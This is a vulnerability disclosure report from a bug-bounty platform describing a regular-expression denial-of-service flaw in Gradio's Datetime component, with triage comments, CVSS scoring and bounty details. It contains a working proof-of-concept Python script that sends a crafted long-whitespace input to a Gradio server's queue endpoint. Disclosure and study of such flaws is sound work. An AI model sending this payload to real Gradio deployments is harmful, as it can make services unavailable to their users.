

Redos (Regular Expression Denial of Service) in gradio-app/gradio

✓ Valid

Reported on Sep 26th 2024

Description

Gradio gr.Datetime functionality use regular expression `^(?:\s*now\s*(?:-\s*(\d+)\s*([dmhs]))?)?\s*$` to process user input. In python default regex engine, this regexp will take 2nd polynomial time matching some crafted user input. So that if the developer use this gr.Datetime component, any user of the gradio app can send crafted http request that will take the gradle process arbitrary time to process and one CPU 100%. If send request number equals to the core of the server, it will cause the python process and even the server to DOS for arbitrary long time.

Proof of Concept

- Say a simple gradle app that use the gr.Datetime component

```
import gradio as gr

def greet(name):
    return name

with gr.Blocks() as demo:
    name = gr.DateTime(label="Name")
    output = gr.Textbox(label="Output Box")
    greet_btn = gr.Button("Greet")
    greet_btn.click(fn=greet, inputs=name, outputs=output, api_name="greet")

demo.launch()
```

- send the exp_string to the server and try to get result.

```
import requests
import json

post_url = 'http://127.0.0.1:7860/queue/join?'
exp_string = "now"+" "*50000+"1"
post_data = {
    "data": [exp_string],
    "event_data": None,
```

```

"fn_index": 0,
"trigger_id": 3,
"session_hash": "pc79toqe2jj"
}
json_data = json.dumps(post_data)
requests.post(post_url, data=json_data)
get_url = "http://127.0.0.1:7860/queue/data?session_hash=pc79toqe2jj"
resp = requests.get(get_url)
print(resp)

```

On my laptop, the code will cause server 6.85s to reply and one CPU core 100%. Double the exp size will cause the server hang for four times longer. So indeed it is a 2nd degree polynomail Regexp dos.

PID	USER	PR	NI	VIRT	RES	SHR	S	%CPU	%MEM	TIME+	COMMAND
299179	oicu	20	0	1431720	168604	38912	S	100.0	0.3	0:53.11	python

Impact

It will cause the python process and even the server to DOS for arbitrary long time.

Occurrences

 datetime.py L133-L136

References

- <https://makenowjust-labs.github.io/recheck/playground/>

 We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. a year ago



huntr-helper commented a year ago

[Admin](#)

This report was determined to possibly be out of scope or have a high likelihood of being marked as informative.

Please review your report and the [Participation Guidelines](#).

These are the specific guidelines this report is in possible violation of:

- Lack of rate limiting issues.



oicu0619 commented a year ago

[Researcher](#)

It is not lack of rate limiting issue. It need one or few package to exploit.

⚙️ This report has now been passed to internal triage and should be resolved within 14 days. a year ago



Ethan Silvas commented a year ago

Admin

Getting the error `ValueError: Invalid 'now' time format`. Please confirm the script works on your end and provide any changes if not and I will do my best to replicate.



oicu0619 commented a year ago

Researcher

On my laptop, the code will cause server 6.85s to finish and get `ValueError: Invalid 'now' time format`. If double the size in `exp_string`, it will takes 28 seconds(4times) to finish and get the `ValueError: Invalid 'now' time format`. During the time, CPU is 100%. Do you observe the delay and CPU 100% on your side? thanks!



Ethan Silvas validated this vulnerability a year ago

Increased the string by a lot and was able to make the docker container completely unavailable for any user.

\$ **oicu0619** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



CVE-2024-10624 assigned to this report. a year ago



We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours a year ago



We have notified the **gradio-app/gradio** maintainers about this report in their weekly follow-up a year ago



This vulnerability has now been published a year ago



CVE-2024-10624 has now been published 10 months ago

[Sign in](#) to join this conversation

Vulnerability Type

CWE-1333: Inefficient Regular Expression Complexity

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

git 98cbcae

Visibility

Public

Status

Awaiting fix

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



oicu0619

@oicu0619

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

